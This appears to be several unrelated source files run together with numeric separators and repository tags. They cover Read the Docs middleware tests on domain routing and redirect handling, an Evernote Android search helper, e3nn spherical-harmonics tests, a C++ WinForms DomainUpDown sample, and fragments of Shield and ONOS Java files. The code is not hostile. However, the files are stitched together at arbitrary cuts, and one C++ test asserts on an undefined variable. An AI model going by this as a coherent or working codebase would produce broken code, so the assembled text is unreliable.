request = self.request(method='get', path=self.url, HTTP_HOST='subproject.dev.readthedocs.io')
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertEqual(getattr(request, 'canonicalize', None), 'canonical-cname')
# We are not canonicalizing custom domains -> public domain for now
@pytest.mark.xfail(strict=True)
def test_canonical_cname_redirect_public_domain(self):
"""Requests to a custom domain should redirect to the public domain or canonical domain if not canonical."""
cname = 'docs.random.com'
domain = get(Domain, project=self.pip, domain=cname, canonical=False, https=False)
request = self.request(method='get', path=self.url, HTTP_HOST=cname)
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertTrue(hasattr(request, 'canonicalize'))
self.assertEqual(request.canonicalize, 'noncanonical-cname')
# Make the domain canonical and make sure we don't redirect
domain.canonical = True
domain.save()
for url in (self.url, '/subdir/'):
request = self.request(method='get', path=url, HTTP_HOST=cname)
res = self.run_middleware(request)
self.assertIsNone(res)
self.assertFalse(hasattr(request, 'canonicalize'))
def test_proper_cname_uppercase(self):
get(Domain, project=self.pip, domain='docs.random.com')
request = self.request(method='get', path=self.url, HTTP_HOST='docs.RANDOM.COM')
self.run_middleware(request)
self.assertEqual(request.cname, True)
self.assertEqual(request.host_project_slug, 'pip')
def test_invalid_cname(self):
self.assertFalse(Domain.objects.filter(domain='my.host.com').exists())
request = self.request(method='get', path=self.url, HTTP_HOST='my.host.com')
r = self.run_middleware(request)
# We show the 404 error page
self.assertContains(r, 'my.host.com', status_code=404)
def test_proper_subdomain(self):
request = self.request(method='get', path=self.url, HTTP_HOST='pip.dev.readthedocs.io')
self.run_middleware(request)
self.assertEqual(request.subdomain, True)
self.assertEqual(request.host_project_slug, 'pip')
@override_settings(PUBLIC_DOMAIN='foo.bar.readthedocs.io')
def test_subdomain_different_length(self):
request = self.request(
method='get', path=self.url, HTTP_HOST='pip.foo.bar.readthedocs.io'
)
self.run_middleware(request)
self.assertEqual(request.subdomain, True)
self.assertEqual(request.host_project_slug, 'pip')
def test_request_header(self):
request = self.request(
method='get', path=self.url, HTTP_HOST='some.random.com', HTTP_X_RTD_SLUG='pip'
)
self.run_middleware(request)
self.assertEqual(request.rtdheader, True)
self.assertEqual(request.host_project_slug, 'pip')
def test_request_header_uppercase(self):
request = self.request(
method='get', path=self.url, HTTP_HOST='some.random.com', HTTP_X_RTD_SLUG='PIP'
)
self.run_middleware(request)
self.assertEqual(request.rtdheader, True)
self.assertEqual(request.host_project_slug, 'pip')
def test_long_bad_subdomain(self):
domain = 'www.pip.dev.readthedocs.io'
request = self.request(method='get', path=self.url, HTTP_HOST=domain)
res = self.run_middleware(request)
self.assertEqual(res.status_code, 400)
def test_front_slash(self):
domain = 'pip.dev.readthedocs.io'
# The HttpRequest needs to be created manually,
# because the RequestFactory strips leading /'s
request = HttpRequest()
request.path = '//'
request.META = {'HTTP_HOST': domain}
res = self.run_middleware(request)
self.assertEqual(res.status_code, 302)
self.assertEqual(
res['Location'], '/',
)
request.path = '///'
res = self.run_middleware(request)
self.assertEqual(res.status_code, 302)
self.assertEqual(
res['Location'], '/',
)
request.path = '////'
res = self.run_middleware(request)
self.assertEqual(res.status_code, 302)
self.assertEqual(
res['Location'], '/',
)
request.path = '////?foo'
res = self.run_middleware(request)
self.assertEqual(res.status_code, 302)
self.assertEqual(
res['Location'], '/%3Ffoo', # Encoded because it's in the middleware
)
def test_front_slash_url(self):
domain = 'pip.dev.readthedocs.io'
# The HttpRequest needs to be created manually,
# because the RequestFactory strips leading /'s
request = HttpRequest()
request.path = '//google.com'
request.META = {'HTTP_HOST': domain}
res = self.run_middleware(request)
self.assertEqual(res.status_code, 302)
self.assertEqual(
res['Location'], '/google.com',
)
@pytest.mark.proxito
@override_settings(PUBLIC_DOMAIN='dev.readthedocs.io')
class MiddlewareURLConfTests(TestCase):
def setUp(self):
self.owner = create_user(username='owner', password='<PASSWORD>')
self.domain = 'pip.dev.readthedocs.io'
self.pip = get(
Project,
slug='pip',
users=[self.owner],
privacy_level=PUBLIC,
urlconf='subpath/to/$version/$language/$filename' # Flipped
)
self.testing_version = get(
Version,
slug='testing',
project=self.pip,
built=True,
active=True,
)
self.pip.versions.update(privacy_level=PUBLIC)
def test_proxied_api_methods(self):
# This is mostly a unit test, but useful to make sure the below tests work
self.assertEqual(self.pip.proxied_api_url, 'subpath/to/_/')
self.assertEqual(self.pip.proxied_api_host, '/subpath/to/_')
def test_middleware_urlconf(self):
resp = self.client.get('/subpath/to/testing/en/foodex.html', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 200)
self.assertEqual(
resp['X-Accel-Redirect'],
'/proxito/media/html/pip/testing/foodex.html',
)
def test_middleware_urlconf_redirects_subpath_root(self):
resp = self.client.get('/subpath/to/', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 302)
self.assertEqual(
resp['Location'],
'http://pip.dev.readthedocs.io/subpath/to/latest/en/',
)
def test_middleware_urlconf_redirects_root(self):
resp = self.client.get('/', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 302)
self.assertEqual(
resp['Location'],
'http://pip.dev.readthedocs.io/subpath/to/latest/en/',
)
def test_middleware_urlconf_invalid(self):
resp = self.client.get('/subpath/to/latest/index.html', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 404)
def test_middleware_urlconf_subpath_downloads(self):
# These aren't configurable yet
resp = self.client.get('/subpath/to/_/downloads/en/latest/pdf/', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 200)
self.assertEqual(
resp['X-Accel-Redirect'],
'/proxito/media/pdf/pip/latest/pip.pdf',
)
def test_middleware_urlconf_subpath_api(self):
# These aren't configurable yet
resp = self.client.get(
'/subpath/to/_/api/v2/footer_html/?project=pip&version=latest&language=en&page=index',
HTTP_HOST=self.domain
)
self.assertEqual(resp.status_code, 200)
self.assertContains(
resp,
'Inserted RTD Footer',
)
def test_urlconf_is_escaped(self):
self.pip.urlconf = '3.6/$version/$language/$filename'
self.pip.save()
self.assertEqual(self.pip.proxied_api_url, '3.6/_/')
self.assertEqual(self.pip.proxied_api_host, '/3.6/_')
resp = self.client.get('/316/latest/en/index.html', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 404)
resp = self.client.get('/3.6/latest/en/index.html', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 200)
resp = self.client.get('/316/_/downloads/en/latest/pdf/', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 404)
resp = self.client.get('/3.6/_/downloads/en/latest/pdf/', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 200)
resp = self.client.get(
'/316/_/api/v2/footer_html/?project=pip&version=latest&language=en&page=index',
HTTP_HOST=self.domain
)
self.assertEqual(resp.status_code, 404)
resp = self.client.get(
'/3.6/_/api/v2/footer_html/?project=pip&version=latest&language=en&page=index',
HTTP_HOST=self.domain
)
self.assertEqual(resp.status_code, 200)
@pytest.mark.proxito
@override_settings(PUBLIC_DOMAIN='dev.readthedocs.io')
class MiddlewareURLConfSubprojectTests(TestCase):
def setUp(self):
self.owner = create_user(username='owner', password='<PASSWORD>')
self.domain = 'pip.dev.readthedocs.io'
self.pip = get(
Project,
name='pip',
slug='pip',
users=[self.owner],
privacy_level=PUBLIC,
urlconf='subpath/$subproject/$version/$language/$filename' # Flipped
)
self.pip.versions.update(privacy_level=PUBLIC)
self.subproject = get(
Project,
name='subproject',
slug='subproject',
users=[self.owner],
privacy_level=PUBLIC,
main_language_project=None,
)
self.testing_version = get(
Version,
slug='testing',
project=self.subproject,
built=True,
active=True,
)
self.subproject.versions.update(privacy_level=PUBLIC)
self.relationship = get(
ProjectRelationship,
parent=self.pip,
child=self.subproject,
)
def test_middleware_urlconf_subproject(self):
resp = self.client.get('/subpath/subproject/testing/en/foodex.html', HTTP_HOST=self.domain)
self.assertEqual(resp.status_code, 200)
self.assertEqual(
resp['X-Accel-Redirect'],
'/proxito/media/html/subproject/testing/foodex.html',
)
| 6,824 |
1,706 | <gh_stars>1000+
package com.evernote.client.android.asyncclient;
import android.support.annotation.NonNull;
import android.support.annotation.Nullable;
import android.util.Pair;
import com.evernote.client.android.EvernoteSession;
import com.evernote.client.android.helper.EvernotePreconditions;
import com.evernote.client.android.type.NoteRef;
import com.evernote.edam.error.EDAMNotFoundException;
import com.evernote.edam.error.EDAMSystemException;
import com.evernote.edam.error.EDAMUserException;
import com.evernote.edam.notestore.NoteFilter;
import com.evernote.edam.notestore.NoteMetadata;
import com.evernote.edam.notestore.NotesMetadataList;
import com.evernote.edam.notestore.NotesMetadataResultSpec;
import com.evernote.edam.type.LinkedNotebook;
import com.evernote.edam.type.NoteSortOrder;
import com.evernote.edam.type.Notebook;
import com.evernote.thrift.TException;
import java.util.ArrayList;
import java.util.Collections;
import java.util.EnumSet;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Callable;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Future;
/**
* Provides an unified search method to look for notes in multiple note stores.
*
* <br>
* <br>
*
* <b>Be careful</b> using this class. A query may be very intense and could require multiple requests.
*
* <br>
* <br>
*
* The easiest way to create an instance is to call {@link EvernoteClientFactory#getEvernoteSearchHelper()}.
*
* @author rwondratschek
*/
@SuppressWarnings("unused")
public class EvernoteSearchHelper extends EvernoteAsyncClient {
private final EvernoteSession mSession;
private final EvernoteClientFactory mClientFactory;
private final EvernoteNoteStoreClient mPrivateClient;
/**
* @param session The current valid session.
* @param executorService The executor running the actions in the background.
*/
public EvernoteSearchHelper(@NonNull EvernoteSession session, @NonNull ExecutorService executorService) {
super(executorService);
mSession = EvernotePreconditions.checkNotNull(session);
mClientFactory = mSession.getEvernoteClientFactory();
mPrivateClient = mClientFactory.getNoteStoreClient();
}
/**
* Submits a search.
*
* @param search The desired search with its parameters.
* @return The result containing multiple {@link NotesMetadataList}s.
*/
public Result execute(@NonNull Search search) throws Exception {
if (search.getOffset() >= search.getMaxNotes()) {
throw new IllegalArgumentException("offset must be less than max notes");
}
Result result = new Result(search.getScopes());
for (Scope scope : search.getScopes()) {
switch (scope) {
case PERSONAL_NOTES:
try {
result.setPersonalResults(findPersonalNotes(search));
} catch (Exception e) {
maybeRethrow(search, e);
}
break;
case LINKED_NOTEBOOKS:
List<LinkedNotebook> linkedNotebooks = getLinkedNotebooks(search, false);
for (LinkedNotebook linkedNotebook : linkedNotebooks) {
try {
result.addLinkedNotebookResult(linkedNotebook, findNotesInLinkedNotebook(search, linkedNotebook));
} catch (Exception e) {
maybeRethrow(search, e);
}
}
break;
case BUSINESS:
linkedNotebooks = getLinkedNotebooks(search, true);
for (LinkedNotebook linkedNotebook : linkedNotebooks) {
try {
result.addBusinessResult(linkedNotebook, findNotesInBusinessNotebook(search, linkedNotebook));
} catch (Exception e) {
maybeRethrow(search, e);
}
}
break;
}
}
return result;
}
/**
* @see #execute(Search)
*/
public Future<Result> executeAsync(@NonNull final Search search, @Nullable EvernoteCallback<Result> callback) {
return submitTask(new Callable<Result>() {
@Override
public Result call() throws Exception {
return execute(search);
}
}, callback);
}
protected List<NotesMetadataList> findPersonalNotes(Search search) throws Exception {
return findAllNotes(search, mPrivateClient, search.getNoteFilter());
}
protected List<NotesMetadataList> findNotesInLinkedNotebook(Search search, LinkedNotebook linkedNotebook) throws Exception {
EvernoteLinkedNotebookHelper linkedNotebookHelper = mClientFactory.getLinkedNotebookHelper(linkedNotebook);
Notebook correspondingNotebook = linkedNotebookHelper.getCorrespondingNotebook();
// create a deep copy so that we don't touch the initial search request values
NoteFilter noteFilter = new NoteFilter(search.getNoteFilter());
noteFilter.setNotebookGuid(correspondingNotebook.getGuid());
return findAllNotes(search, linkedNotebookHelper.getClient(), noteFilter);
}
protected List<NotesMetadataList> findNotesInBusinessNotebook(Search search, LinkedNotebook linkedNotebook) throws Exception {
EvernoteBusinessNotebookHelper businessNotebookHelper = mClientFactory.getBusinessNotebookHelper();
EvernoteLinkedNotebookHelper linkedNotebookHelper = mClientFactory.getLinkedNotebookHelper(linkedNotebook);
Notebook correspondingNotebook = linkedNotebookHelper.getCorrespondingNotebook();
// create a deep copy so that we don't touch the initial search request values
NoteFilter noteFilter = new NoteFilter(search.getNoteFilter());
noteFilter.setNotebookGuid(correspondingNotebook.getGuid());
return findAllNotes(search, businessNotebookHelper.getClient(), noteFilter);
}
protected List<NotesMetadataList> findAllNotes(Search search, EvernoteNoteStoreClient client, NoteFilter filter) throws Exception {
List<NotesMetadataList> result = new ArrayList<>();
final int maxNotes = search.getMaxNotes();
int offset = search.getOffset();
int remaining = maxNotes - offset;
while (remaining > 0) {
try {
NotesMetadataList notesMetadata = client.findNotesMetadata(filter, offset, maxNotes, search.getResultSpec());
remaining = notesMetadata.getTotalNotes() - (notesMetadata.getStartIndex() + notesMetadata.getNotesSize());
result.add(notesMetadata);
} catch (EDAMUserException | EDAMSystemException | TException | EDAMNotFoundException e) {
maybeRethrow(search, e);
remaining -= search.getPageSize();
}
offset += search.getPageSize();
}
return result;
}
protected List<LinkedNotebook> getLinkedNotebooks(Search search, boolean business) throws Exception {
if (business) {
if (search.mBusinessNotebooks.isEmpty()) {
try {
return mClientFactory.getBusinessNotebookHelper().listBusinessNotebooks(mSession);
} catch (EDAMUserException | EDAMSystemException | EDAMNotFoundException | TException e) {
maybeRethrow(search, e);
return Collections.emptyList();
}
} else {
return search.mBusinessNotebooks;
}
} else {
if (search.mLinkedNotebooks.isEmpty()) {
try {
return mPrivateClient.listLinkedNotebooks();
} catch (EDAMUserException | EDAMNotFoundException | TException | EDAMSystemException e) {
maybeRethrow(search, e);
return Collections.emptyList();
}
} else {
return search.mLinkedNotebooks;
}
}
}
private void maybeRethrow(Search search, Exception e) throws Exception {
if (!search.isIgnoreExceptions()) {
throw e;
}
}
/**
* Defines from where the notes are queried.
*/
public enum Scope {
PERSONAL_NOTES,
LINKED_NOTEBOOKS,
BUSINESS
}
public static class Search {
private final EnumSet<Scope> mScopes;
private final List<LinkedNotebook> mLinkedNotebooks;
private final List<LinkedNotebook> mBusinessNotebooks;
private NoteFilter mNoteFilter;
private NotesMetadataResultSpec mResultSpec;
private int mOffset;
private int mMaxNotes;
private int mPageSize;
private boolean mIgnoreExceptions;
public Search() {
mScopes = EnumSet.noneOf(Scope.class);
mLinkedNotebooks = new ArrayList<>();
mBusinessNotebooks = new ArrayList<>();
mOffset = -1;
mMaxNotes = -1;
mPageSize = -1;
}
/**
* If no scope is specified, {@link Scope#PERSONAL_NOTES} is the default value.
*
* <br>
* <br>
*
* <b>Attention:</b> If you add {@link Scope#LINKED_NOTEBOOKS} or {@link Scope#BUSINESS} and
* don't add a specific {@link LinkedNotebook}, then this search may be very intense.
*
* @param scope Add this scope to the search.
* @see #addLinkedNotebook(LinkedNotebook)
*/
public Search addScope(Scope scope) {
mScopes.add(scope);
return this;
}
/**
* Specify in which notebooks notes are queried. If this linked notebook is a business notebook,
* {@link Scope#BUSINESS} is automatically added, otherwise {@link Scope#LINKED_NOTEBOOKS} is
* added.
*
* <br>
* <br>
*
* By default no specific linked notebook is defined.
*
* @param linkedNotebook The desired linked notebook.
* @see #addScope(Scope)
*/
public Search addLinkedNotebook(LinkedNotebook linkedNotebook) {
if (EvernoteBusinessNotebookHelper.isBusinessNotebook(linkedNotebook)) {
addScope(Scope.BUSINESS);
mBusinessNotebooks.add(linkedNotebook);
} else {
addScope(Scope.LINKED_NOTEBOOKS);
mLinkedNotebooks.add(linkedNotebook);
}
return this;
}
/**
* If not filter is set, then the default value only sets {@link NoteSortOrder#UPDATED}.
*
* @param noteFilter The used filter for all queries.
*/
public Search setNoteFilter(NoteFilter noteFilter) {
mNoteFilter = EvernotePreconditions.checkNotNull(noteFilter);
return this;
}
/**
* If no spec is set, then the default value will include the note's title and notebook GUID.
*
* @param resultSpec The used result spec for all queries.
*/
public Search setResultSpec(NotesMetadataResultSpec resultSpec) {
mResultSpec = EvernotePreconditions.checkNotNull(resultSpec);
return this;
}
/**
* The default value is {@code 0}.
*
* @param offset The beginning offset for all queries.
*/
public Search setOffset(int offset) {
mOffset = EvernotePreconditions.checkArgumentNonnegative(offset, "negative value now allowed");
return this;
}
/**
* The default value is {@code 10}. Set this value to {@link Integer#MAX_VALUE}, if you want to query
* all notes. The higher this value the more intense is the whole search.
*
* @param maxNotes The maximum note count for all queries.
*/
public Search setMaxNotes(int maxNotes) {
mMaxNotes = EvernotePreconditions.checkArgumentPositive(maxNotes, "maxNotes must be greater or equal 1");
return this;
}
/**
* The default value is {@code 10}.
*
* @param pageSize The page size for a single search.
*/
public Search setPageSize(int pageSize) {
mPageSize = EvernotePreconditions.checkArgumentPositive(pageSize, "pageSize must be greater or equal 1");
return this;
}
/**
* The default value is {@code false}.
*
* @param ignoreExceptions If {@code true} then most exceptions while running the search are caught and ignored.
*/
public Search setIgnoreExceptions(boolean ignoreExceptions) {
mIgnoreExceptions = ignoreExceptions;
return this;
}
private EnumSet<Scope> getScopes() {
if (mScopes.isEmpty()) {
mScopes.add(Scope.PERSONAL_NOTES);
}
return mScopes;
}
private NoteFilter getNoteFilter() {
if (mNoteFilter == null) {
mNoteFilter = new NoteFilter();
mNoteFilter.setOrder(NoteSortOrder.UPDATED.getValue());
}
return mNoteFilter;
}
private NotesMetadataResultSpec getResultSpec() {
if (mResultSpec == null) {
mResultSpec = new NotesMetadataResultSpec();
mResultSpec.setIncludeTitle(true);
mResultSpec.setIncludeNotebookGuid(true);
}
return mResultSpec;
}
// for all scopes
private int getOffset() {
if (mOffset < 0) {
return 0;
}
return mOffset;
}
private int getMaxNotes() {
if (mMaxNotes < 0) {
return 10;
}
return mMaxNotes;
}
private int getPageSize() {
if (mPageSize < 0) {
return 10;
}
return mPageSize;
}
public boolean isIgnoreExceptions() {
return mIgnoreExceptions;
}
}
/**
* A search result.
*/
public static final class Result {
private final List<NotesMetadataList> mPersonalResults;
private final Map<Pair<String, LinkedNotebook>, List<NotesMetadataList>> mLinkedNotebookResults;
private final Map<Pair<String, LinkedNotebook>, List<NotesMetadataList>> mBusinessResults;
private NoteRef.Factory mNoteRefFactory;
private Result(Set<Scope> scopes) {
mPersonalResults = scopes.contains(Scope.PERSONAL_NOTES) ? new ArrayList<NotesMetadataList>() : null;
mLinkedNotebookResults = scopes.contains(Scope.LINKED_NOTEBOOKS) ? new HashMap<Pair<String, LinkedNotebook>, List<NotesMetadataList>>() : null;
mBusinessResults = scopes.contains(Scope.BUSINESS) ? new HashMap<Pair<String, LinkedNotebook>, List<NotesMetadataList>>() : null;
mNoteRefFactory = new NoteRef.DefaultFactory();
}
/**
* Exchange the factory to control how the {@link NoteRef} instances are created if you receive
* the results as NoteRef.
*
* @param noteRefFactory The new factory to construct the {@link NoteRef} instances.
*/
public void setNoteRefFactory(@NonNull NoteRef.Factory noteRefFactory) {
mNoteRefFactory = EvernotePreconditions.checkNotNull(noteRefFactory);
}
private void setPersonalResults(List<NotesMetadataList> personalResults) {
mPersonalResults.addAll(personalResults);
}
private void addLinkedNotebookResult(LinkedNotebook linkedNotebook, List<NotesMetadataList> linkedNotebookResult) {
Pair<String, LinkedNotebook> key = new Pair<>(linkedNotebook.getGuid(), linkedNotebook);
mLinkedNotebookResults.put(key, linkedNotebookResult);
}
private void addBusinessResult(LinkedNotebook linkedNotebook, List<NotesMetadataList> linkedNotebookResult) {
Pair<String, LinkedNotebook> key = new Pair<>(linkedNotebook.getGuid(), linkedNotebook);
mBusinessResults.put(key, linkedNotebookResult);
}
/**
* @return All paginated {@link NotesMetadataList}s containing the personal notes. Returns
* {@code null}, if {@link Scope#PERSONAL_NOTES} wasn't set.
*/
public List<NotesMetadataList> getPersonalResults() {
return mPersonalResults;
}
/**
* @return All personal notes. Returns {@code null}, if {@link Scope#PERSONAL_NOTES} wasn't set.
*/
public List<NoteRef> getPersonalResultsAsNoteRef() {
if (mPersonalResults == null) {
return null;
}
List<NoteRef> result = new ArrayList<>();
fillNoteRef(mPersonalResults, result, null);
return result;
}
/**
* @return All linked notebooks with their paginated search result. The key in the returned
* map consists of the {@link LinkedNotebook} and its GUID. Returns {@code null}, if
* {@link Scope#LINKED_NOTEBOOKS} wasn't set.
*/
public Map<Pair<String, LinkedNotebook>, List<NotesMetadataList>> getLinkedNotebookResults() {
return mLinkedNotebookResults;
}
/**
* @return All linked notes. Returns {@code null}, if {@link Scope#LINKED_NOTEBOOKS} wasn't set.
*/
public List<NoteRef> getLinkedNotebookResultsAsNoteRef() {
if (mLinkedNotebookResults == null) {
return null;
}
List<NoteRef> result = new ArrayList<>();
for (Pair<String, LinkedNotebook> key : mLinkedNotebookResults.keySet()) {
List<NotesMetadataList> notesMetadataLists = mLinkedNotebookResults.get(key);
fillNoteRef(notesMetadataLists, result, key.second);
}
return result;
}
/**
* @return All business notebooks with their paginated search result. The key in the returned
* map consists of the business notebook and its GUID. Returns {@code null}, if
* {@link Scope#BUSINESS} wasn't set.
*/
public Map<Pair<String, LinkedNotebook>, List<NotesMetadataList>> getBusinessResults() {
return mBusinessResults;
}
/**
* @return All business notes. Returns {@code null}, if {@link Scope#BUSINESS} wasn't set.
*/
public List<NoteRef> getBusinessResultsAsNoteRef() {
if (mBusinessResults == null) {
return null;
}
List<NoteRef> result = new ArrayList<>();
for (Pair<String, LinkedNotebook> key : mBusinessResults.keySet()) {
List<NotesMetadataList> notesMetadataLists = mBusinessResults.get(key);
fillNoteRef(notesMetadataLists, result, key.second);
}
return result;
}
/**
* @return All personal, linked and business notes. Never returns {@code null}, if no results
* were found then the list is empty.
*/
public List<NoteRef> getAllAsNoteRef() {
List<NoteRef> result = new ArrayList<>();
List<NoteRef> part = getPersonalResultsAsNoteRef();
if (part != null) {
result.addAll(part);
}
part = getLinkedNotebookResultsAsNoteRef();
if (part != null) {
result.addAll(part);
}
part = getBusinessResultsAsNoteRef();
if (part != null) {
result.addAll(part);
}
return result;
}
protected void fillNoteRef(final List<NotesMetadataList> notesMetadataList, final List<NoteRef> result, LinkedNotebook linkedNotebook) {
for (NotesMetadataList notesMetadataListEntry : notesMetadataList) {
List<NoteMetadata> notes = notesMetadataListEntry.getNotes();
for (NoteMetadata note : notes) {
NoteRef ref = linkedNotebook == null ? mNoteRefFactory.fromPersonal(note) : mNoteRefFactory.fromLinked(note, linkedNotebook);
result.add(ref);
}
}
}
}
}
| 8,979 |
385 | <reponame>claycurry34/e3nn
import math
import pytest
import torch
from e3nn import o3
from e3nn.util.test import assert_auto_jitable, assert_equivariant
def test_weird_call():
o3.spherical_harmonics([4, 1, 2, 3, 3, 1, 0], torch.randn(2, 1, 2, 3), False)
def test_weird_irreps():
# string input
o3.spherical_harmonics("0e + 1o", torch.randn(1, 3), False)
# Weird multipliciteis
irreps = o3.Irreps("1x0e + 4x1o + 3x2e")
out = o3.spherical_harmonics(irreps, torch.randn(7, 3), True)
assert out.shape[-1] == irreps.dim
# Bad parity
with pytest.raises(ValueError):
# L = 1 shouldn't be even for a vector input
o3.SphericalHarmonics(
irreps_out="1x0e + 4x1e + 3x2e",
normalize=True,
normalization='integral',
irreps_in="1o",
)
# Good parity but psuedovector input
_ = o3.SphericalHarmonics(
irreps_in="1e",
irreps_out="1x0e + 4x1e + 3x2e",
normalize=True
)
# Invalid input
with pytest.raises(ValueError):
_ = o3.SphericalHarmonics(
irreps_in="1e + 3o", # invalid
irreps_out="1x0e + 4x1e + 3x2e",
normalize=True
)
def test_zeros():
assert torch.allclose(o3.spherical_harmonics([0, 1], torch.zeros(1, 3), False, normalization='norm'), torch.tensor([[1, 0, 0, 0.0]]))
def test_equivariance(float_tolerance):
lmax = 5
irreps = o3.Irreps.spherical_harmonics(lmax)
x = torch.randn(2, 3)
abc = o3.rand_angles()
y1 = o3.spherical_harmonics(irreps, x @ o3.angles_to_matrix(*abc).T, False)
y2 = o3.spherical_harmonics(irreps, x, False) @ irreps.D_from_angles(*abc).T
assert (y1 - y2).abs().max() < 10*float_tolerance
def test_backwardable():
lmax = 3
ls = list(range(lmax + 1))
xyz = torch.tensor([
[0., 0., 1.],
[1.0, 0, 0],
[0.0, 10.0, 0],
[0.435, 0.7644, 0.023],
], requires_grad=True, dtype=torch.float64)
def func(pos):
return o3.spherical_harmonics(ls, pos, False)
assert torch.autograd.gradcheck(func, (xyz,), check_undefined_grad=False)
@pytest.mark.parametrize('l', range(10 + 1))
def test_normalization(float_tolerance, l):
n = o3.spherical_harmonics(l, torch.randn(3), normalize=True, normalization='integral').pow(2).mean()
assert abs(n - 1 / (4 * math.pi)) < float_tolerance
n = o3.spherical_harmonics(l, torch.randn(3), normalize=True, normalization='norm').norm()
assert abs(n - 1) < float_tolerance
n = o3.spherical_harmonics(l, torch.randn(3), normalize=True, normalization='component').pow(2).mean()
assert abs(n - 1) < float_tolerance
def test_closure():
r"""
integral of Ylm * Yjn = delta_lj delta_mn
integral of 1 over the unit sphere = 4 pi
"""
x = torch.randn(1_000_000, 3)
Ys = [o3.spherical_harmonics(l, x, True) for l in range(0, 3 + 1)]
for l1, Y1 in enumerate(Ys):
for l2, Y2 in enumerate(Ys):
m = Y1[:, :, None] * Y2[:, None, :]
m = m.mean(0) * 4 * math.pi
if l1 == l2:
i = torch.eye(2 * l1 + 1)
assert (m - i).abs().max() < 0.01
else:
assert m.abs().max() < 0.01
@pytest.mark.parametrize('l', range(11 + 1))
def test_parity(float_tolerance, l):
r"""
(-1)^l Y(x) = Y(-x)
"""
x = torch.randn(3)
Y1 = (-1)**l * o3.spherical_harmonics(l, x, False)
Y2 = o3.spherical_harmonics(l, -x, False)
assert (Y1 - Y2).abs().max() < float_tolerance
@pytest.mark.parametrize('l', range(9 + 1))
def test_recurrence_relation(float_tolerance, l):
if torch.get_default_dtype() != torch.float64 and l > 6:
pytest.xfail('we expect this to fail for high l and single precision')
x = torch.randn(3, requires_grad=True)
a = o3.spherical_harmonics(l + 1, x, False)
b = torch.einsum(
'ijk,j,k->i',
o3.wigner_3j(l + 1, l, 1),
o3.spherical_harmonics(l, x, False),
x
)
alpha = b.norm() / a.norm()
assert (a / a.norm() - b / b.norm()).abs().max() < 10*float_tolerance
def f(x):
return o3.spherical_harmonics(l + 1, x, False)
a = torch.autograd.functional.jacobian(f, x)
b = (l + 1) / alpha * torch.einsum(
'ijk,j->ik',
o3.wigner_3j(l + 1, l, 1),
o3.spherical_harmonics(l, x, False)
)
assert (a - b).abs().max() < 100*float_tolerance
@pytest.mark.parametrize("normalization", ["integral", "component", "norm"])
@pytest.mark.parametrize("normalize", [True, False])
def test_module(normalization, normalize):
l = o3.Irreps("0e + 1o + 3o")
sp = o3.SphericalHarmonics(l, normalize, normalization)
sp_jit = assert_auto_jitable(sp)
xyz = torch.randn(11, 3)
assert torch.allclose(
sp_jit(xyz),
o3.spherical_harmonics(l, xyz, normalize, normalization)
)
assert_equivariant(sp)
| 2,364 |
975 | <reponame>HelloVass/Shield<filename>shieldCore/src/main/java/com/dianping/shield/node/adapter/hotzone/OnHotZoneStateChangeListener.java
package com.dianping.shield.node.adapter.hotzone;
import com.dianping.shield.entity.ScrollDirection;
import com.dianping.shield.node.cellnode.ShieldDisplayNode;
/**
* Created by runqi.wei at 2018/7/16
*/
public interface OnHotZoneStateChangeListener {
void onHotZoneStateChanged(int position, int currentFirst, int currentLast,
ShieldDisplayNode node, HotZone hotZone,
HotZoneLocation oldHotZoneLocation, HotZoneLocation hotZoneLocation,
ScrollDirection scrollDirection);
}
| 279 |
353 | <reponame>johannespitz/functionsimsearch
#include "gtest/gtest.h"
#include "disassembly/flowgraphutil.hpp"
#include <array>
TEST(flowgraphutil, dyninstinstructiongetter) {
EXPECT_EQ(index, 8128);
}
| 80 |
834 | <reponame>BohdanMosiyuk/samples<filename>snippets/cpp/VS_Snippets_Winforms/Classic DomainUpDown Example/CPP/source.cpp
#using <system.dll>
#using <system.data.dll>
#using <system.drawing.dll>
#using <system.windows.forms.dll>
using namespace System;
using namespace System::Data;
using namespace System::Drawing;
using namespace System::Windows::Forms;
public ref class Form1: public Form
{
protected:
TextBox^ textBox1;
int myCounter;
// <Snippet1>
protected:
DomainUpDown^ domainUpDown1;
private:
void MySub()
{
// Create and initialize the DomainUpDown control.
domainUpDown1 = gcnew System::Windows::Forms::DomainUpDown;
// Add the DomainUpDown control to the form.
Controls->Add( domainUpDown1 );
}
void button1_Click( System::Object^ sender,
System::EventArgs^ e )
{
// Add the text box contents and initial location in the collection
// to the DomainUpDown control.
domainUpDown1->Items->Add( String::Concat(
(textBox1->Text->Trim()), " - ", myCounter.ToString() ) );
// Increment the counter variable.
myCounter = myCounter + 1;
// Clear the TextBox.
textBox1->Text = "";
}
void checkBox1_Click( Object^ sender, EventArgs^ e )
{
// If Sorted is set to true, set it to false;
// otherwise set it to true.
if ( domainUpDown1->Sorted )
{
domainUpDown1->Sorted = false;
}
else
{
domainUpDown1->Sorted = true;
}
}
void domainUpDown1_SelectedItemChanged( Object^ sender, EventArgs^ e )
{
// Display the SelectedIndex and SelectedItem property values in a MessageBox.
MessageBox::Show( String::Concat( "SelectedIndex: ",
domainUpDown1->SelectedIndex.ToString(), "\n", "SelectedItem: ",
domainUpDown1->SelectedItem->ToString() ) );
}
// </Snippet1>
};
| 741 |
1,091 | /*
* Copyright 2017-present Open Networking Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.onosproject.drivers.netconf;
import org.onosproject.netconf.NetconfDevice;
import org.onosproject.netconf.NetconfDeviceInfo;
import org.onosproject.netconf.NetconfSession;
